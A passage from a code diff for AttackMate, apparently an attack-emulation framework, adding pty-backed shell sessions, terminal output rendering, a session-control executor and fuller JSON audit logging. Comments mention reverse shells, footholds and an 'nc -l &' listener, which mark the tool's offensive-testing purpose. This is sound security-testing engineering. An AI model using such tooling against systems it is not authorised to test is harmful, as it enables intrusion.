result=result, skipped=skipped + ) try: logger.info(json.dumps(command_dict)) @@ -162,12 +217,28 @@ def log_json(self, logger: logging.Logger, command, time): e, ) - def make_command_serializable(self, command, time): + def make_command_serializable(self, command, time, end_time=None, + result: Optional[Result] = None, skipped: bool = False): command_dict = OrderedDict() command_dict['start-datetime'] = time + # Without an end time, everything about what a step actually did has to + # be reconstructed elsewhere - and an interactive step returns after a + # silence, not on exit, so its children can still be running long after + # the log says it finished. + if end_time is not None: + command_dict['end-datetime'] = end_time + command_dict['duration-seconds'] = self.duration_seconds(time, end_time) + if skipped: + command_dict['skipped'] = True if hasattr(command, 'type'): command_dict['type'] = command.type command_dict['cmd'] = command.cmd + if result is not None: + # None where no real status exists: inside a live session the shell + # is still running, so there is nothing to report unless the command + # asked for wait_for_exit. Never faked as 0. + command_dict['exit-status'] = getattr(result, 'exit_status', None) + command_dict['returncode'] = result.returncode command_dict['parameters'] = dict() for key, value in command.__dict__.items(): @@ -220,14 +291,27 @@ async def exec(self, command: BaseCommand) -> Result: The result of the command, or a ``Result(str(error), 1)`` if an :class:`~attackmate.execexception.ExecException` is raised. """ + # Bound before the try: log_command can itself raise an ExecException + # (a non-numeric ssh port reaches variable_to_int through cache_settings), + # and the logging below would then die with UnboundLocalError. + time_of_execution = datetime.now().isoformat() + result = None try: self.log_command(command) self.log_metadata(self.logger, command) - time_of_execution = datetime.now().isoformat() result = await self._exec_cmd(command) except ExecException as error: result = Result(str(error), 1) - self.log_json(self.json_logger, command, time_of_execution) + finally: + # In a finally so that a step killed by an uncaught exception is + # still recorded. It used to be written only on the way out, so the + # run artifact showed a playbook that simply stopped, with no trace + # of the step that ended it - which is exactly how a dropped reverse + # shell presents. + self.log_json( + self.json_logger, command, time_of_execution, + end_time=datetime.now().isoformat(), result=result, + ) self.save_output(command, result) if not command.background: if not self.is_api_instance: diff --git a/src/attackmate/executors/common/sessionexecutor.py b/src/attackmate/executors/common/sessionexecutor.py new file mode 100644 index 000000000..28c10fa37 --- /dev/null +++ b/src/attackmate/executors/common/sessionexecutor.py @@ -0,0 +1,62 @@ +""" +sessionexecutor.py +============================================ +Close or inspect a session from within a playbook. +""" + +from typing import Optional + +from attackmate.executors.baseexecutor import BaseExecutor +from attackmate.executors.executor_factory import executor_factory +from attackmate.processmanager import ProcessManager +from attackmate.result import Result +from attackmate.schemas.session import SessionCommand +from attackmate.variablestore import VariableStore + + +@executor_factory.register_executor('session') +class SessionExecutor(BaseExecutor): + """Acts on the session store of another executor. + + It holds the same executor dictionary AttackMate caches, rather than its + own store, because a session belongs to whichever executor opened it. + """ + + def __init__(self, pm: ProcessManager, cmdconfig=None, *, + varstore: VariableStore, executors: Optional[dict] = None): + self.executors = executors if executors is not None else {} + super().__init__(pm, varstore, cmdconfig) + + def log_command(self, command: SessionCommand): + self.logger.info(f"Session-Command: {command.cmd} '{command.session}' ({command.executor})") + + def get_session_store(self, command: SessionCommand): + """The store of the executor that owns this kind of session. + + Returns None when that executor has not run yet, which simply means no + session of that name can exist. + """ + executor = self.executors.get(command.executor) + return getattr(executor, 'session_store', None) if executor else None + + async def _exec_cmd(self, command: SessionCommand) -> Result: + store = self.get_session_store(command) + + if store is None or not self.session_known(store, command.session): + return Result(f"Session '{command.session}' does not exist", 1) + + if command.cmd == 'status': + if store.session_is_alive(command.session): + return Result(f"Session '{command.session}' is alive", 0) + return Result(f"Session '{command.session}' has exited", 1) + + if store.close_session(command.session): + return Result(f"Session '{command.session}' closed", 0) + return Result(f"Session '{command.session}' does not exist", 1) + + @staticmethod + def session_known(store, session_name: str) -> bool: + """The shell store holds two kinds of session; the ssh store one.""" + if hasattr(store, 'session_exists'): + return store.session_exists(session_name) + return store.has_session(session_name) diff --git a/src/attackmate/executors/common/terminal.py b/src/attackmate/executors/common/terminal.py new file mode 100644 index 000000000..e5de93c08 --- /dev/null +++ b/src/attackmate/executors/common/terminal.py @@ -0,0 +1,373 @@ +""" +terminal.py +============================================ +Helpers shared by every executor that drives a program through a real +terminal (pseudo-terminal for ``shell``, SSH channel for ``ssh``). + +Three concerns live here: + +* :func:`expand_keys` turns readable key names such as ```` or ```` + into the raw bytes a terminal application expects. +* :func:`strip_ansi` removes escape sequences so command output stays usable + for logging, ``error_if`` matching and ``save``. +* :class:`TerminalScreen` renders an output stream the way a terminal would, + which is the only way to get meaningful text out of full-screen + applications such as ``vim`` or ``nano``. +""" + +import re +import uuid +from typing import List, Optional + +from attackmate.execexception import ExecException + +# CSI sequences (\x1b[ ... final byte), OSC sequences (\x1b] ... BEL or ST), +# character-set selection (\x1b( etc.) and the remaining two-byte escapes. +ANSI_PATTERN = re.compile( + r""" + \x1b\[ [0-?]* [ -/]* [@-~] # CSI + | \x1b\] .*? (?: \x07 | \x1b\\ ) # OSC, terminated by BEL or ST + | \x1b [PX^_] .*? (?: \x1b\\ ) # DCS / SOS / PM / APC + | \x1b [()#%] . # charset selection + | \x1b [@-Z\\-_] # remaining two-byte escapes + | \x1b [0-?] # private two-byte escapes: ESC =, ESC >, ESC 7/8 + """, + re.VERBOSE | re.DOTALL, +) + +# Control characters that carry no meaning once the escape sequences are gone +# and the cursor movements below have been applied. Tab and newline are kept. +CONTROL_PATTERN = re.compile(r'[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]') + +# Only the tail of a stream can end with a prompt. Re-scanning the whole +# accumulated buffer on every chunk would be quadratic on a noisy command. +PROMPT_TAIL = 512 + +KEY_PATTERN = re.compile(r'<([A-Za-z0-9_+-]{1,8})>') + +# Key names are matched case-insensitively, so store them upper case. +NAMED_KEYS = { + 'ESC': '\x1b', + 'TAB': '\t', + 'CR': '\r', + 'LF': '\n', + 'ENTER': '\r', + 'RETURN': '\r', + 'BS': '\x08', + 'BACKSPACE': '\x7f', + 'DEL': '\x7f', + 'DELETE': '\x1b[3~', + 'SPACE': ' ', + 'NUL': '\x00', + 'UP': '\x1b[A', + 'DOWN': '\x1b[B', + 'RIGHT': '\x1b[C', + 'LEFT': '\x1b[D', + 'HOME': '\x1b[H', + 'END': '\x1b[F', + 'PGUP': '\x1b[5~', + 'PGDN': '\x1b[6~', + 'INS': '\x1b[2~', + 'F1': '\x1bOP', + 'F2': '\x1bOQ', + 'F3': '\x1bOR', + 'F4': '\x1bOS', + 'F5': '\x1b[15~', + 'F6': '\x1b[17~', + 'F7': '\x1b[18~', + 'F8': '\x1b[19~', + 'F9': '\x1b[20~', + 'F10': '\x1b[21~', + 'F11': '\x1b[23~', + 'F12': '\x1b[24~', + # Escape hatch: produces a literal "<" so text containing key-like + # markup can still be typed while key expansion is enabled. + 'LT': '<', + 'GT': '>', +} + +CTRL_PATTERN = re.compile(r'^C-(.)$', re.IGNORECASE) + + +def expand_keys(text: str) -> str: + """Replace ```` markers in *text* with the bytes a terminal sends. + + Recognised are the names in :data:`NAMED_KEYS` and ```` for any + control character. Unknown markers are left untouched, so ordinary text + that happens to contain angle brackets survives unchanged. + + Parameters + ---------- + text : str + Command text as written in the playbook. + + Returns + ------- + str + Text with every recognised key marker replaced. + """ + + def replace(match: re.Match) -> str: + name = match.group(1) + if name.upper() in NAMED_KEYS: + return NAMED_KEYS[name.upper()] + ctrl = CTRL_PATTERN.match(name) + if ctrl: + char = ctrl.group(1).upper() + # Ctrl maps @ A-Z [ \ ] ^ _ onto 0x00-0x1f. + if '@' <= char <= '_': + return chr(ord(char) - 0x40) + return match.group(0) + + return KEY_PATTERN.sub(replace, text) + + +def apply_overwrites(text: str) -> str: + """Resolve carriage returns and backspaces into the text they leave behind. + + A terminal does not append these, it moves the cursor: ``p\\x08printf`` is a + shell autocompletion that reads ``printf``, and a line padded with spaces + and followed by ``\\r`` is erased. Dropping the control characters instead + of applying them yields text that never appeared on screen (``pprintf``), + which then defeats ``error_if`` matching. + + Parameters + ---------- + text : str + Text with escape sequences already removed. + + Returns + ------- + str + The text as it would have ended up on screen, line by line. + """ + lines = [] + for line in text.split('\n'): + buffer: List[str] = [] + column = 0 + for char in line: + if char == '\r': + column = 0 + elif char == '\b': + column = max(0, column - 1) + elif column < len(buffer): + buffer[column] = char + column += 1 + else: + buffer.append(char) + column += 1 + # Deliberately not rstripped: the default prompts ('$ ', '# ', '> ') + # all end in a space, so trimming here would stop every prompt from + # ever matching. + lines.append(''.join(buffer)) + return '\n'.join(lines) + + +def strip_ansi(text: str) -> str: + """Remove escape sequences and resolve cursor movement in *text*. + + Terminal applications interleave their output with cursor movement and + colour sequences. Those are noise for logging and for ``error_if`` + matching, so they are dropped, and the carriage returns and backspaces + that remain are applied rather than deleted (see :func:`apply_overwrites`). + + Parameters + ---------- + text : str + Raw output as read from a terminal. + + Returns + ------- + str + Output containing only printable text, tabs and newlines. + """ + text = ANSI_PATTERN.sub('', text) + text = apply_overwrites(text) + return CONTROL_PATTERN.sub('', text) + + +# Built on first use. pyte is imported lazily, so the subclass below cannot be +# declared at module level. +_SCREEN_CLASS = None + + +def _build_screen(pyte, rows: int, cols: int, history: int): + """Create a pyte screen that tolerates the escape sequences real editors emit. + + ``vim`` announces its key-encoding support with a private SGR sequence + (``\\x1b[>4;2m``). pyte 0.8.2 dispatches that to ``select_graphic_rendition`` + with a ``private`` keyword the handler does not accept, so feeding it real + ``vim`` output raises ``TypeError`` and takes the playbook down. Private SGR + changes no visible attribute, so dropping it loses nothing. + """ + global _SCREEN_CLASS + if _SCREEN_CLASS is None: + + class TolerantScreen(pyte.HistoryScreen): + def select_graphic_rendition(self, *attrs, private=False, **kwargs): + if private: + return + super().select_graphic_rendition(*attrs) + + _SCREEN_CLASS = TolerantScreen + return _SCREEN_CLASS(cols, rows, history=history) + + +class TerminalScreen: + """A terminal emulator that turns an output stream into readable text. + + Stripping escape sequences is not enough for applications that paint the + screen by moving the cursor around - ``nano`` and ``vim`` produce + overlapping fragments in write order rather than what the user sees. This + class feeds the stream through a real terminal emulator (``pyte``) and + reports the resulting screen. + + One instance belongs to one session, so the screen keeps its state across + commands. Output that scrolls off the top is kept in the scrollback and + reported once, by :meth:`new_scrollback`. + + Parameters + ---------- + rows : int + Height of the emulated screen. + cols : int + Width of the emulated screen. + history : int, optional + Number of scrolled-off lines to retain. Defaults to ``2000``. + """ + + def __init__(self, rows: int, cols: int, history: int = 2000): + try: + import pyte + except ImportError: + raise ExecException( + "screen mode requires the 'pyte' package. Install it with 'pip install pyte'." + ) + self.rows = rows + self.cols = cols + self.screen = _build_screen(pyte, rows, cols, history) + self.stream = pyte.ByteStream(self.screen) + self._consumed_scrollback = 0 + + def feed(self, data: bytes) -> None: + """Advance the emulated terminal by *data*.""" + self.stream.feed(data) + + def resize(self, rows: int, cols: int) -> None: + """Resize the emulated screen to *rows* x *cols*.""" + self.screen.resize(rows, cols) + self.rows = rows + self.cols = cols + + def _render_history_line(self, line) -> str: + return ''.join(line[x].data for x in range(self.cols)).rstrip() + + def new_scrollback(self) -> List[str]: + """Return the lines that scrolled off the top since the last call. + + Only lines not reported before are returned, so a command sees its own + output rather than everything the session ever printed. + """ + top = self.screen.history.top + total = len(top) + if total <= self._consumed_scrollback: + # The scrollback was trimmed or reset; report nothing rather than + # replaying lines that were already returned. + self._consumed_scrollback = total + return [] + fresh = list(top)[self._consumed_scrollback:] + self._consumed_scrollback = total + return [self._render_history_line(line) for line in fresh] + + def display(self) -> List[str]: + """Return the currently visible screen with trailing blank lines removed.""" + lines = [line.rstrip() for line in self.screen.display] + while lines and not lines[-1]: + lines.pop() + return lines + + def render(self, include_scrollback: bool = True) -> str: + """Return the readable text produced since the previous call. + + Parameters + ---------- + include_scrollback : bool, optional + Prepend the lines that scrolled off the top. Defaults to ``True``. + + Returns + ------- + str + Scrollback plus visible screen, joined by newlines. + """ + lines: List[str] = [] + if include_scrollback: + lines.extend(self.new_scrollback()) + lines.extend(self.display()) + return '\n'.join(lines) + + +def render_output( + raw: bytes, + screen: Optional[TerminalScreen] = None, + strip: bool = True, +) -> str: + """Turn raw terminal bytes into the text a command should return. + + Parameters + ---------- + raw : bytes + Bytes read from the terminal for this command. + screen : TerminalScreen, optional + When given, the emulated screen is rendered instead of the raw stream. + The caller is responsible for having fed *raw* into it already. + strip : bool, optional + Remove escape sequences from the raw stream. Ignored when *screen* is + given, since a rendered screen never contains them. + + Returns + ------- + str + Decoded output. Undecodable bytes are replaced rather than raising, + for the same reason as in the non-terminal paths: one bad byte must + not end the playbook. + """ + if screen is not None: + return screen.render() + text = raw.decode(errors='replace') + return strip_ansi(text) if strip else text + + +def make_exit_marker() -> str: + """A token that will not occur in ordinary command output.""" + return f'__ATTACKMATE_EXIT_{uuid.uuid4().hex[:12]}__' + + +def append_exit_marker(cmd: str, marker: str) -> str: + """Append a marker that reports when a command finished, and with what. + + Inside a live session there is nothing to wait on: the shell does not exit + between commands, so "run this and tell me when it is done" is unanswerable + unless the command says so itself. Echoing a marker and ``$?`` after it + supplies both the completion signal and the real exit status. + + This is the one thing here that rewrites the command, which is why it is + opt-in - anything reproducing a report's commands verbatim should leave it + off. + """ + # The status comes first so the line ENDS with the marker, which is what + # lets the marker be matched as a prompt. + return f'{cmd.rstrip()}; echo "$?{marker}"\n' + + +def split_exit_marker(output: str, marker: str): + """Split rendered output into the command's own output and its exit status. + + Returns ``(output, exit_status)``. The status is ``None`` when the marker + never appeared, which means the read stopped before the command finished. + """ + match = re.search(r'(\d+)' + re.escape(marker), output) + if match is None: + return output, None + # Drop the marker line itself, and anything the shell echoed after it. + cleaned = output[:match.start()].rstrip('\r\n') + return cleaned, int(match.group(1)) diff --git a/src/attackmate/executors/shell/ptysession.py b/src/attackmate/executors/shell/ptysession.py new file mode 100644 index 000000000..115d7160b --- /dev/null +++ b/src/attackmate/executors/shell/ptysession.py @@ -0,0 +1,328 @@ +""" +ptysession.py +============================================ +A local shell running behind a pseudo-terminal. + +The default ``shell`` executor connects the shell to pipes. Programs that +insist on a terminal therefore fail: ``vim`` and ``nano`` refuse to draw a +screen, and ``sudo`` cannot prompt for a password because it reads from +``/dev/tty`` rather than from stdin. Giving the shell a pseudo-terminal +removes that restriction. +""" + +import logging +import os +import select +import signal +import struct +import subprocess +from datetime import datetime +from typing import List, Optional + +from attackmate.execexception import ExecException +from attackmate.executors.common.terminal import PROMPT_TAIL, TerminalScreen, strip_ansi + +# fcntl, pty and termios exist only on Unix. They are imported where they are +# used rather than here, so that importing attackmate keeps working on Windows - +# the same reason shellexecutor.non_block_read imports fcntl inside the function. + +# Reading in large chunks keeps up with the redraw bursts of full-screen +# applications without spinning on tiny reads. +READ_CHUNK = 65536 + +# How long to wait for the shell's startup prompt before the first command. +STARTUP_DRAIN = 0.3 + +# How long a shell gets to exit after its terminal is hung up, before SIGKILL. +HANGUP_GRACE = 5 + + +class PtySession: + """A shell process attached to a pseudo-terminal. + + Parameters + ---------- + command_shell : str + Shell to spawn, e.g. ``/bin/sh``. + rows : int, optional + Terminal height reported to the child. Defaults to ``24``. + cols : int, optional + Terminal width reported to the child. Defaults to ``80``. + term : str, optional + Value of ``TERM`` for the child. Defaults to ``xterm-256color``. + screen : bool, optional + Emulate a terminal screen so full-screen applications can be read + back as the text they display. Defaults to ``False``. + raw : bool, optional + Put the terminal in raw mode. Defaults to ``True``; see + :meth:`set_raw` for why. + """ + + def __init__( + self, + command_shell: str = '/bin/sh', + rows: int = 24, + cols: int = 80, + term: str = 'xterm-256color', + screen: bool = False, + raw: bool = True, + ): + import pty + + self.logger = logging.getLogger('playbook') + self.rows = rows + self.cols = cols + self.master_fd, slave_fd = pty.openpty() + if raw: + self.set_raw() + self.set_winsize(rows, cols) + + env = os.environ.copy() + env['TERM'] = term + env['LINES'] = str(rows) + env['COLUMNS'] = str(cols) + + try: + self.proc = subprocess.Popen( + [command_shell], + stdin=slave_fd, + stdout=slave_fd, + stderr=slave_fd, + env=env, + close_fds=True, + preexec_fn=self._make_controlling_terminal, + ) + finally: + # The child holds its own copy; keeping ours open would stop reads + # from ever reporting EOF after the shell exits. + os.close(slave_fd) + + self.screen: Optional[TerminalScreen] = TerminalScreen(rows, cols) if screen else None + self.closed = False + + # A shell prints its prompt as soon as it starts. Left in the buffer, + # that prompt would satisfy the prompt check of the first read before + # the first command had produced any output at all. + self.read(idle_timeout=STARTUP_DRAIN) + + @staticmethod + def _make_controlling_terminal(): + """Make the inherited pty the controlling terminal of the child. + + Runs in the forked child before ``exec``. Without a controlling + terminal the shell disables job control and ``/dev/tty`` is + unavailable, which is exactly what breaks ``sudo``. + """ + import fcntl + import termios + + os.setsid() + try: + fcntl.ioctl(0, termios.TIOCSCTTY, 0) + except OSError: + # Some platforms attach the terminal on setsid() already. + pass + + def set_raw(self) -> None: + """Take the terminal out of its default line-editing mode. + + A fresh pty comes up with ``icanon echo isig icrnl``, which is right for + a human at a keyboard and wrong for driving a program. It is invisible + for a local full-screen application, because that puts the terminal into + raw mode itself on startup, and it is fatal when the session is a + transport - a program on a remote host can never change the line + discipline of a terminal on this one: + + * ``icanon`` holds a lone control key, such as nano's ````, in the + local line buffer, so it never reaches the far end; + * ``isig`` turns ```` into a signal against the local shell instead + of sending it onward, which is most of the reason to want a terminal; + * ``echo`` sends every command back, so a session's output contains the + commands as well as their results - and that is what ``error_if`` and + ``save`` then see. + + Note that with ``icrnl`` off, a full-screen program expects a real + carriage return: send ````, not ``\\n``, to answer a prompt inside + one. Shell command lines are unaffected and still end with ``\\n``. + """ + import termios + import tty + + try: + tty.setraw(self.master_fd) + except termios.error as e: + self.logger.debug(f'Could not set pty to raw mode: {e}') + + def set_winsize(self, rows: int, cols: int) -> None: + """Report a terminal size of *rows* x *cols* to the child.""" + import fcntl + import termios + + try: + fcntl.ioctl(self.master_fd, termios.TIOCSWINSZ, struct.pack('HHHH', rows, cols, 0, 0)) + except OSError as e: + self.logger.debug(f'Could not set pty window size: {e}') + + def write(self, data: bytes) -> None: + """Send *data* to the terminal as if it had been typed.""" + if self.closed: + raise ExecException('Cannot write to a closed pty session') + os.write(self.master_fd, data) + + def drain(self) -> bytes: + """Consume output that is already waiting, without blocking. + + Called before sending a command so that the previous command's + trailing prompt cannot end the next command's read immediately. + """ + pending = b'' + while not self.closed: + try: + readable, _, _ = select.select([self.master_fd], [], [], 0) + except (OSError, ValueError): + break + if not readable: + break + try: + chunk = os.read(self.master_fd, READ_CHUNK) + except OSError: + break + if not chunk: + break + pending += chunk + if self.screen is not None: + self.screen.feed(chunk) + return pending + + def read( + self, + idle_timeout: float, + prompts: Optional[List[str]] = None, + max_wait: Optional[float] = None, + stop_when_contains: Optional[str] = None, + ) -> bytes: + """Read output until it goes quiet, a prompt appears, or time runs out. + + Parameters + ---------- + idle_timeout : float + Seconds without new output after which reading stops. A value of + ``0`` or less means "no time limit": reading then continues until a + prompt matches, matching what ``command_timeout: 0`` already means + for ssh commands (see ``Interactive.check_timer``). Combining it + with an empty *prompts* would never return, so it is rejected. + prompts : list of str, optional + Reading stops early once the output ends with one of these. + stop_when_contains : str, optional + Reading stops as soon as this appears anywhere in the output. + A prompt has to be the last thing on the stream, which is no use + for an end-of-command marker: the shell prints its own prompt + straight after it. + max_wait : float, optional + Hard upper bound on the total time spent reading. Off by default: + capping at some multiple of *idle_timeout* would silently truncate + any command that legitimately streams output for longer, which is + invisible from the playbook. Silence still ends the read through + *idle_timeout*, matching what ``popen_interactive`` does for pipes. + + Returns + ------- + bytes + Everything read during this call. Also fed to the emulated + screen when the session has one. + """ + wait_for_prompt_only = idle_timeout <= 0 + if wait_for_prompt_only and not prompts and stop_when_contains is None: + raise ExecException( + 'command_timeout 0 waits for a prompt, so at least one entry in ' + "'prompts' is required. Set a timeout or define prompts." + ) + buffer = b'' + started = datetime.now() + last_data = datetime.now() + + while True: + now = datetime.now() + if max_wait is not None and (now - started).total_seconds() >= max_wait: + self.logger.debug('pty read stopped: maximum wait reached') + break + if not wait_for_prompt_only and (now - last_data).total_seconds() >= idle_timeout: + break + + try: + readable, _, _ = select.select([self.master_fd], [], [], 0.05) + except (OSError, ValueError): + break + if not readable: + continue + + try: + chunk = os.read(self.master_fd, READ_CHUNK) + except OSError: + # The child exited and closed the other end of the pty. + break + if not chunk: + break + + buffer += chunk + last_data = datetime.now() + if self.screen is not None: + self.screen.feed(chunk) + if stop_when_contains is not None and stop_when_contains in buffer.decode( + errors='replace' + ): + self.logger.debug('pty read stopped: found marker') + break + if prompts and self._ends_with_prompt(buffer[-PROMPT_TAIL:], prompts): + self.logger.debug('pty read stopped: found prompt') + break + + return buffer + + @staticmethod + def _ends_with_prompt(buffer: bytes, prompts: List[str]) -> bool: + # Prompts are matched against readable text: a shell prompt is usually + # followed by colour and cursor sequences that would defeat endswith(). + text = strip_ansi(buffer.decode(errors='replace')).rstrip('\n') + return any(text.endswith(prompt) for prompt in prompts) + + def is_alive(self) -> bool: + """Return ``True`` while the shell process is still running.""" + return not self.closed and self.proc.poll() is None + + def close(self) -> None: + """Terminate the shell and release the pseudo-terminal. + + Closing the master side first is what makes this quick. A shell with a + controlling terminal is an interactive shell, and an interactive shell + ignores SIGTERM - so signalling it first meant waiting out the timeout + on every single session before falling back to SIGKILL. Dropping our + end of the terminal instead hangs it up, which is the condition a shell + does exit on. + """ + if self.closed: + return + self.closed = True + + try: + os.close(self.master_fd) + except OSError: + pass + + try: + if self.proc.poll() is None: + try: + self.proc.wait(timeout=HANGUP_GRACE) + except subprocess.TimeoutExpired: + # Still there: signal the whole group, so that whatever the + # shell started (an editor, a pager) goes down with it. + self._signal_group(signal.SIGKILL) + self.proc.wait(timeout=HANGUP_GRACE) + except Exception as e: + self.logger.debug(f'Error while closing pty session: {e}') + + def _signal_group(self, sig: int) -> None: + try: + os.killpg(os.getpgid(self.proc.pid), sig) + except (ProcessLookupError, PermissionError, OSError): + self.proc.kill() diff --git a/src/attackmate/executors/shell/sessionstore.py b/src/attackmate/executors/shell/sessionstore.py index f1ec0cb26..96ff2131e 100644 --- a/src/attackmate/executors/shell/sessionstore.py +++ b/src/attackmate/executors/shell/sessionstore.py @@ -1,9 +1,35 @@ -from subprocess import Popen +import logging +import os +import signal +import time +from subprocess import Popen, TimeoutExpired + +from attackmate.executors.shell.ptysession import HANGUP_GRACE, PtySession class SessionStore: def __init__(self): self.store: dict[str, tuple[Popen, str]] = {} + self.pty_store: dict[str, PtySession] = {} + self.logger = logging.getLogger('playbook') + + def __getstate__(self): + """ + Background commands are dispatched with a 'spawn' multiprocessing context, + which pickles the executor - and with it this store. Neither a Popen nor a + PtySession survives that: both own file objects and locks, so pickling one + raises "cannot pickle '_thread.lock' object" and the background command + fails before it starts. The child cannot use a parent's session anyway, + so drop both stores instead of trying to transport them. + + Emptied rather than set to None: a child that still looks a session up + then gets the normal KeyError, which becomes an ExecException, instead + of "argument of type 'NoneType' is not iterable" from a membership test. + """ + state = self.__dict__.copy() + state['store'] = {} + state['pty_store'] = {} + return state def has_session(self, session_name: str) -> bool: if session_name in self.store: @@ -36,3 +62,117 @@ def set_existing_session(self, session_name: str, handle: Popen, command: str): if self.has_session(session_name): self.set_session(session_name, handle, command) + + def has_pty_session(self, session_name: str) -> bool: + return session_name in self.pty_store + + def get_pty_by_session(self, session_name: str) -> PtySession: + if session_name in self.pty_store: + return self.pty_store[session_name] + else: + raise KeyError('Session not found in Sessionstore') + + def set_pty_session(self, session_name: str, session: PtySession): + self.pty_store[session_name] = session + + def _signal_group(self, pgid: int, sig: int): + """Signal a session's whole process group, tolerating an empty group.""" + try: + os.killpg(pgid, sig) + except (ProcessLookupError, PermissionError, OSError): + # The group is already gone, or is not ours to signal. + pass + + def close_pipe_session(self, session_name: str, proc: Popen): + """Terminate one pipe-based session and everything it started. + + The executor closes an ordinary command's process, but deliberately not + a session's - a session has to stay open for the commands that follow. + Nothing closed it afterwards either, so a session that left a listener + or a shell running kept it alive after AttackMate exited, holding its + port and corrupting the next run. + + Killing the shell alone is not enough, because what the session started + is a child of it. Sessions are created with ``start_new_session=True`` + (see ``ShellExecutor.open_proc``), so signalling the process group takes + the whole tree down. + """ + # start_new_session makes the shell its own group leader, so its pid is + # the group id. Captured before anything can reap it. + pgid = proc.pid + try: + if proc.stdin and not proc.stdin.closed: + # Ends a shell that is blocked reading its next command. + proc.stdin.close() + + self._signal_group(pgid, signal.SIGTERM) + + deadline = time.monotonic() + HANGUP_GRACE + while proc.poll() is None and time.monotonic() < deadline: + time.sleep(0.05) + + # Sweep the group even when the shell exited cleanly. That is the + # leak: `nc -l &` keeps running after its parent shell is gone, and + # waiting on the shell alone reports success while the listener + # still holds the port. + self._signal_group(pgid, signal.SIGKILL) + + if proc.poll() is None: + proc.kill() + try: + proc.wait(timeout=HANGUP_GRACE) + except TimeoutExpired: + self.logger.error(f"Shell session '{session_name}' did not terminate") + finally: + for stream in (proc.stdout, proc.stderr): + try: + if stream: + stream.close() + except OSError: + pass + + def clean_sessions(self): + """Close every session in the store and release its resources.""" + for session_name, session in self.pty_store.items(): + try: + session.close() + self.logger.warning(f"Closing pty for shell session '{session_name}'.") + except Exception as e: + self.logger.error(f"Error closing pty for shell session '{session_name}': {e}") + + for session_name, (proc, _) in self.store.items(): + try: + self.close_pipe_session(session_name, proc) + self.logger.warning(f"Closing shell session '{session_name}'.") + except Exception as e: + self.logger.error(f"Error closing shell session '{session_name}': {e}") + + self.pty_store.clear() + self.store.clear() + + def session_exists(self, session_name: str) -> bool: + """True if a session of either kind is stored under this name.""" + return session_name in self.store or session_name in self.pty_store + + def session_is_alive(self, session_name: str) -> bool: + """True if the stored session's shell is still running.""" + if session_name in self.pty_store: + return self.pty_store[session_name].is_alive() + if session_name in self.store: + return self.store[session_name][0].poll() is None + return False + + def close_session(self, session_name: str) -> bool: + """Close one session by name, whichever kind it is. + + Returns False if no such session is stored, so a playbook can close a + foothold it is finished with without having to know it still exists. + """ + if session_name in self.pty_store: + self.pty_store.pop(session_name).close() + return True + if session_name in self.store: + proc, _ = self.store.pop(session_name) + self.close_pipe_session(session_name, proc) + return True + return False diff --git a/src/attackmate/executors/shell/shellexecutor.py b/src/attackmate/executors/shell/shellexecutor.py index 2e3b48706..a598ab069 100644 --- a/src/attackmate/executors/shell/shellexecutor.py +++ b/src/attackmate/executors/shell/shellexecutor.py @@ -6,6 +6,9 @@ """ import os +import platform +import time +from typing import Optional import subprocess from subprocess import TimeoutExpired from datetime import datetime @@ -18,10 +21,18 @@ from attackmate.schemas.config import CommandConfig from attackmate.variablestore import VariableStore from attackmate.processmanager import ProcessManager +from attackmate.executors.common.terminal import (PROMPT_TAIL, append_exit_marker, + expand_keys, make_exit_marker, + render_output, split_exit_marker) +from attackmate.executors.shell.ptysession import PtySession from attackmate.executors.shell.sessionstore import SessionStore from attackmate.executors.features.cmdvars import CmdVars from attackmate.executors.executor_factory import executor_factory +# How long to wait between polls of a pipe-based interactive session. Without +# it the read loop spins on a core for the whole timeout. +POLL_INTERVAL = 0.05 + @executor_factory.register_executor('shell') class ShellExecutor(BaseExecutor): @@ -32,12 +43,32 @@ def __init__(self, pm: ProcessManager, varstore: VariableStore, cmdconfig=Comman def log_command(self, command: BaseCommand): self.logger.info(f"Executing Shell-Command: '{command.cmd}'") + def cleanup(self): + self.session_store.clean_sessions() + def open_proc(self, command: ShellCommand) -> subprocess.Popen: if command.session: - return self.session_store.get_handle_by_session(command.session) + proc = self.session_store.get_handle_by_session(command.session) + if proc.poll() is not None: + # Writing to a shell that has exited raises BrokenPipeError, + # which nothing catches - it ends the playbook. That is how a + # dropped reverse shell presents, so it needs to be a normal + # command failure rather than a crash. + raise ExecException(f"Shell-Session '{command.session}' has exited") + return proc proc = subprocess.Popen( - [command.command_shell], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE + [command.command_shell], + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + # A session outlives the command that created it, so it has to be + # terminated by name at the end of the run - and killing a shell + # does not kill what it started. Giving a session its own process + # group is what lets the store signal the whole tree later. Without + # it the session shares AttackMate's group and signalling it would + # take AttackMate down too. + start_new_session=bool(command.creates_session), ) if command.creates_session: @@ -45,6 +76,105 @@ def open_proc(self, command: ShellCommand) -> subprocess.Popen: return proc + def open_pty(self, command: ShellCommand) -> PtySession: + """Return the pty session for *command*, creating one if needed. + + Kept separate from :meth:`open_proc` so the pipe-based path is not + touched by pty support at all. + """ + if command.session: + session = self.session_store.get_pty_by_session(command.session) + if not session.is_alive(): + raise ExecException(f"Shell-Session '{command.session}' has exited") + return session + + session = PtySession( + command_shell=command.command_shell, + rows=CmdVars.variable_to_int('pty_rows', command.pty_rows), + cols=CmdVars.variable_to_int('pty_cols', command.pty_cols), + term=command.term, + screen=command.screen, + raw=command.raw, + ) + + if command.creates_session: + self.session_store.set_pty_session(command.creates_session, session) + + return session + + def encode_cmd(self, command: ShellCommand, exit_marker: Optional[str] = None) -> bytes: + """Turn ``command.cmd`` into the bytes to send. + + Key expansion produces a local copy rather than writing back to + ``command.cmd``: the JSON audit log serialises the command *after* it + ran, and Looper re-executes the same object, so mutating it would both + record raw control bytes and expand twice on the second pass. + """ + if command.bin: + try: + cmd = binascii.unhexlify(command.cmd) + self.logger.info( + f"Shell-Command: Hex {command.cmd} to ascii: {bytes.fromhex(command.cmd).decode('ascii')}" + ) + return cmd + except binascii.Error: + raise ExecException( + f"only hex characters are allowed in binary mode. Command: '{command.cmd}'" + ) + + text = expand_keys(command.cmd) if command.expand_keys else command.cmd + if exit_marker is not None: + text = append_exit_marker(text, exit_marker) + return text.encode('utf-8') + + def exec_pty(self, command: ShellCommand) -> Result: + """Run a command through a pseudo-terminal.""" + try: + session = self.open_pty(command) + except KeyError as e: + raise ExecException(e) + + # Generated here rather than stored on the command: the audit log + # serialises the command's attributes, so anything parked on it leaks + # into the artifact. + marker = make_exit_marker() if 